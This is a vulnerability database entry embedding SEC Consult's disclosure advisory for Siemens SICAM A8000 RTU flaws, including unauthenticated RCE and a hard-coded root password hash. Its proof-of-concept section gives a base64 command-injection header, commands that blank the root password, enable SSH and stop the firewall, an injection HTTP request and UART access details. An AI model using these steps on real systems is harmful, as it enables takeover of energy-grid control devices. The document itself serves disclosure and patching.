ID

VAR-202306-0923

CVE

CVE-2023-33920

TITLE

Siemens SICAM A8000 Devices CPCI85 Firmware Hardcoded Credential Vulnerability

DESCRIPTION

A vulnerability has been identified in CP-8031 MASTER MODULE (All versions < CPCI85 V05), CP-8050 MASTER MODULE (All versions < CPCI85 V05). The affected devices contain the hash of the root password in a hard-coded form, which could be exploited for UART console login to the device. An attacker with direct physical access could exploit this vulnerability. The SICAM A8000 RTUs (Remote Terminal Units) series is a series of modular devices for remote control and automation applications in all areas of energy supply. SEC Consult Vulnerability Lab Security Advisory < 20230703-0 > ======================================================================= title: Multiple Vulnerabilities including Unauthenticated RCE product: Siemens A8000 CP-8050 MASTER MODULE (6MF2805-0AA00) Siemens A8000 CP-8031 MASTER MODULE (6MF2803-1AA00) vulnerable version: <= V04.92 fixed version: CPCI85 V05 CVE number: CVE-2023-28489, CVE-2023-33919, CVE-2023-33920, CVE-2023-33921 impact: Critical homepage: https://www.siemens.com found: 2023-02-15 by: Stefan Viehböck (Office Vienna) Christian Hager (Office Vienna) Steffen Robertz (Office Vienna) Gerhard Hechenberger (Office Vienna) Gorazd Jank (Office Vienna) Constantin Schieber-Knoebl (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "We are a technology company focused on industry, infrastructure, transport, and healthcare. From more resource-efficient factories, resilient supply chains, and smarter buildings and grids, to cleaner and more comfortable transportation as well as advanced healthcare, we create technology with purpose adding real value for customers." Source: https://new.siemens.com/global/en/company/about.html Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. Customers should update to CPCI85 V05 or later version. (https://support.industry.siemens.com/cs/ww/en/view/109804985/) SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Unauthenticated Remote Code Execution (CVE-2023-28489) By sending an HTTP request with a crafted header to port 80/443 of the PLC, arbitrary commands can be executed as system user. The port is used to configure and control Siemens PLCs with the Siemens Toolbox II application and is typically accessible on such devices. 2) Authenticated Command Injection (CVE-2023-33919) Due to missing server-side input sanitation, any user with access to the SICAM WEB interface can execute arbitrary commands as user "root" on the device. This works by setting malicious parameters and starting an Ethernet package capture. This password hash is the same on all devices. If the corresponding password is known, it could be used to login via UART and SSH. 4) Console Login via UART (CVE-2023-33921) The UART interface can be accessed with physical access to the PCB. After connecting to the interface, boot information is given and a login prompt is provided. Proof of concept: ----------------- 1) Unauthenticated Remote Code Execution (CVE-2023-28489) To exploit this vulnerability, an HTTP request including the command must be crafted. No "/" characters can be used, therefore commands are encoded as base64, e.g., "id" as "aWQ=". The command must be provided as UPLOADFILENAME header. A full command looks as follows: ;echo aWQ=| base64 -d | sh # The following header format must be obeyed: * User-Agent: SICAM TOOLBOX II * Session-ID: [ARBITRARY 16 CHARACTERS] * UPLOADFILENAME: [COMMAND] Additionally, the request body must contain the following POST parameters: * type=20 * length=[ARBITRARY] * data=[ARBITRARY] A valid request can be seen below: ----------------------------------------------------------------------- [ POC request removed ] ----------------------------------------------------------------------- If it worked, the response body will be "type=21". Additionally, the output on the UART interface indicates code execution as root user: ----------------------------------------------------------------------- base64: /ies/IN/_: No such file or directory uid=0(root) gid=0(root) ----------------------------------------------------------------------- Subsequently, the SSH port can be opened by sending the following commands separately and encoded as base64 string. They will replace the set default root password hash with an empty password hash, reconfigure the Dropbear SSH daemon and stop the firewall: ----------------------------------------------------------------------- sed -i s'/:$6$jNY7stPOMCNi$bMqOCQX0ClFK3PyNPUyDvuF2xKOJ8j00v79.wXGV0BG7cxKc8aCo\/FWtDljQjCbm6JnZqxiMg re5P14Kv2zAH1:/:32BZgrJ3XBMoY:/' /etc/shadow sed -i s'/"$DROPBEAR_ARGS -R -s -g"/"$DROPBEAR_ARGS -R"/' /etc/init.d/dropbear /etc/init.d/dropbear restart /etc/init.d/rc.firewall stop ----------------------------------------------------------------------- After this, login via SSH as root is possible: ----------------------------------------------------------------------- ssh root@[IP] root@[IP]'s password: ~# id uid=0(root) gid=0(root) groups=0(root),10(wheel) ~# ----------------------------------------------------------------------- 2) Authenticated Command Injection (CVE-2023-33919) To trigger the command injection vulnerability, the payload must be set in the "LAN port group" field on the SICAM WEB page "Monitoring & Simulation" -> "Ethernet Packet Capture" section "Capture configuration" (other fields may also be affected). As the web interface only provides a drop-down menu, the payload must be set by manipulating the JavaScript logic or by directly manipulating the HTTP request as below, where "ping [IP]\nBBBBBBB" was set: ----------------------------------------------------------------------- POST /sicweb-ajax/rtum85/cview HTTP/1.1 Host: [HOST] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/xml SICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT Content-Length: 198 Origin: http://[HOST] Connection: close Referer: http://[HOST]/ <?xml version="1.0" encoding="UTF-8"?> <Cmd_SetCustomViewValue><view id="packet_capture"><parameter id="p0"> <value> ping [IP] BBBBBBB</value> </parameter></view></Cmd_SetCustomViewValue> ----------------------------------------------------------------------- The line break in the payload is especially important, as the command is executed as part of a shell script. This script is generated and executed by pressing the "Start/Stop trace" button in the "Capture Controlling" section and saved as /tmp/incws_tcpdump.sh. An excerpt with the injected command is shown below: ----------------------------------------------------------------------- [...] # lets start tcpdump tcpdump -i ping [IP] BBBBBBB '(ether host 00:11:11:33:44:00) and (host 1.1.1.2 or host 2.2.2.34) and (port 999)' -C 1 -W 4 -U -w /var/log/wireshark.pcap & [...] ----------------------------------------------------------------------- The executed script creates a process running as root user, which can be seen by running "ps" on the device: ----------------------------------------------------------------------- root 1100 0.0 0.1 1784 1168 ? S Feb21 0:00 /bin/sh /etc/init.d/rc.sysinit root 1149 0.1 0.3 11768 1748 ? S1 Feb21 6:03 \_ /ies/apps/system/bin/ISV00.elf /ies/apps/sys_desc/target_rc.json [...] www-data 1487 0.0 0.6 7568 3444 ? S Feb21 0:40 \_ /usr/sbin/lighttpd -Df /etc/lighttpd/lighttpd.conf root 10655 0.0 0.2 1880 1344 ? S 04:55 0:00 \_ /bin/sh /tmp/incws_tcpdump.sh root 10667 0.0 0.2 1884 1360 ? S 04:57 0:00 \_ ping [IP] ----------------------------------------------------------------------- 3) Hard-coded Root Password (CVE-2023-33920) A hard-coded "root" user password hash can be found in the /etc/shadow file: ----------------------------------------------------------------------- root:$6$jNY7stPOMCNi$bMqOCQX0ClFK3PyNPUyDvuF2xKOJ8j00v79.wXGV0BG7cxKc8aCo/FWtDljQjCbm6JnZqxiMg re5P14Kv2zAH1:16436:0:99999:7::: ----------------------------------------------------------------------- 4) Console Login via UART (CVE-2023-33921) The serial console (UART) can be accessed on the backside of the PCB on two Vias. After removing an additional logic IC, receiving data and sending data is possible with the following UART settings: * Voltage: 3.3V * Speed: 115200 Baud * Symbol-ratio: 8 Data Bits 1 Stop Bit (8N1) Extensive boot log output can be received. Some output is shown below: ----------------------------------------------------------------------- U-Boot SPL 2013.01.01 (Jan 16 2020 - 12:56:02) BOARD : Altera SOCFPGA Cyclone V Board CLOCK: EOSC1 clock 50000 KHz [...] Starting IES system ----------------------------------- Welcome to SICAM IES ----------------------------------- Welcome to _______. __ ______ ___ .___ ___. Vulnerable / tested versions: ----------------------------- The following product has been tested: * Siemens A8000 CP-8050 04.92 * Siemens A8000 CP-8031 04.92 Vendor contact timeline: ------------------------ 2023-03-14: Contacting vendor through productcert@siemens.com, sending encrypted advisory 2023-03-29: Naming researchers involved 2023-03-31: Requesting state. Vulnerability 1 will be published first due to criticality. Rest will follow. 2023-04-11: Siemens releases advisory for unauthenticated RCE (Vulnerability 1, CVE-2023-28489) 2023-06-13: Siemens releases advisory for vulnerability 2, 3 and 4 (CVE-2023-33919, CVE-2023-33920, CVE-2023-33921) 2023-06-21: Siemens has additional feedback regarding the contents of the advisory. 2023-07-03: Release of security advisory. Solution: --------- Update to firmware CPCI85 V05 or later version, see vendor advisory for further information: https://cert-portal.siemens.com/productcert/html/ssa-472454.html https://cert-portal.siemens.com/productcert/html/ssa-731916.html Workaround: ----------- Restrict network access to the A8000 CP-8050/CP8031 module or disable the Toolbox II communication on port 80/443. Make sure to strictly limit physical access to the PLC during and also after its life cycle. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Stefan Viehböck, Christian Hager, Steffen Robertz, Gerhard Hechenberger, Gorazd Jank, Constantin Schieber-Knoebl / @2023

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

trust management problem

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Gerhard Hechenberger, Steffen Robertz, Constantin Schieber-Knoebl, Stefan Viehbock, Gorazd Jank, Christian Hager

SOURCES

LAST UPDATE DATE

2024-08-14T12:57:19.909000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE